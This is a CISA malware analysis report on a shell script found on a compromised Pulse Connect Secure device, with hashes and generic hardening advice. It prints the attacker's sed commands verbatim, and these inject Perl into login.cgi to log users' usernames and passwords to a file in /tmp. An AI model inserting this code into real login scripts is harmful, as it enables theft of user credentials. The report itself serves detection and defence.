Malware Analysis Report (AR21-236B)

MAR-10333243-3.v1: Pulse Secure Connect

Click to Tweet.
Click to send to Facebook.
Click to Share.

Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.cisa.gov/tlp.

Summary

Description

CISA received one unique file for analysis. This file contains a malicious shell script recovered from a compromised Pulse Secure device. This malicious script is designed to modify the Pulse Secure login.cgi script effectively causing it to log a valid user's username and password credentials into a file stored on disk. This analysis is derived from malicious files found on Pulse Connect Secure devices.

For a downloadable copy of indicators of compromise, see: MAR-10333243-3.v1.stix.

Submitted Files (1)

45b81360ed62ec817fb63c5522fc3400ce0c73a369ea3b381267c2e24051db2b (malware_unallocated.txt)

Findings

45b81360ed62ec817fb63c5522fc3400ce0c73a369ea3b381267c2e24051db2b

Details
Name malware_unallocated.txt
Size 1134 bytes
Type ASCII text
MD5 13f5fb033db3022b9d99f2993b562d30
SHA1 7ec0d14ae147ecc17a7903c03bb75bd494c736a2
SHA256 45b81360ed62ec817fb63c5522fc3400ce0c73a369ea3b381267c2e24051db2b
SHA512 7fdaae9f30ede5f30331d7907594699be659dbcc7fe3c5cd489445c612a3a15497188a411afb7bc75d963d1d6ff76783da4aa9b19b0b8ed0dfe2e545577741a9
ssdeep 24:r7GvGEOnPmhFQhXdPhs08WrmnPXGEOnPmhqQhXdPhx/XXWrmnP3nPyNnP3nPI:r7fnP6QhNPK04nPwnPVQhNPzvpnP3nPz
Entropy 4.875274
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This shell script was utilized by the attacker to modify the Pulse Secure system script named login.cgi. The modifications to the application login.cgi are performed using the Linux sed command. These modifications are primarily designed to cause the system application to log a user's password and username credentials to a file when the user logs into a compromised Pulse Secure device. The credentials can then be retrieved by the attacker. These stolen credentials may be utilized as a means to easily access the compromised Pulse Secure device remotely, or to pivot to other systems and networks. The sed commands utilized by this script to modify login.cgi are illustrated below.

--Begin Malicious sed Commands--

sed -n "/DSWebAuth::saveCredentials($sessid/=" /home/webserver/htdocs/dana-na/auth/login.cgi | sed -n "1"

sed -i ''$row' i\ \t\ \t\ \tmy $realmName = $realmInfo->{name}; my $uf="/tmp/dswebserver.statementcounters";open(*FN,">>$uf");print FN "Realm:$realmName Name:$username Pwd:$password AuthNum:1\\n";close (*FN);' /home/webserver/htdocs/dana-na/auth/login.cgi

sed -n "/DSWebAuth::saveCredentials($sessid/=" /home/webserver/htdocs/dana-na/auth/login.cgi
               
sed -i ''$row' i\ \t\ \t\ \tmy $realmName = $realmInfo->{name}; my $uf="/tmp/dswebserver.statementcounters";open(*FN,">>$uf");print FN "Realm:$realmName Name:$userName2 Pwd:$password2 AuthNum:2\\n";close (*FN);' /home/webserver/htdocs/dana-na/auth/login.cgi
               
sed -n '/my $uf=/p' /home/webserver/htdocs/dana-na/auth/login.cgi

sed -i '/my $uf=/d' /home/webserver/htdocs/dana-na/auth/login.cgi

sed -n '/my $uf=/p' /home/webserver/htdocs/dana-na/auth/login.cgi

--End Malicious sed Commands--

The modifications made to the Pulse Secure login.cgi application by these sed commands effectively result in the user's username and paswords being logged to a file named "/tmp/dswebserver.statementcounters" when the user logs into a compromised Pulse Secure device.

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

  • Maintain up-to-date antivirus signatures and engines.
  • Keep operating system patches up-to-date.
  • Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
  • Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
  • Enforce a strong password policy and implement regular password changes.
  • Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
  • Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
  • Disable unnecessary services on agency workstations and servers.
  • Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
  • Monitor users' web browsing habits; restrict access to sites with unfavorable content.
  • Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
  • Scan all software downloaded from the Internet prior to executing.
  • Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.

Revisions

Initial Version: August 24, 2021

This product is provided subject to this Notification and this Privacy & Use policy.

Please share your thoughts.

We recently updated our anonymous product survey; we'd welcome your feedback.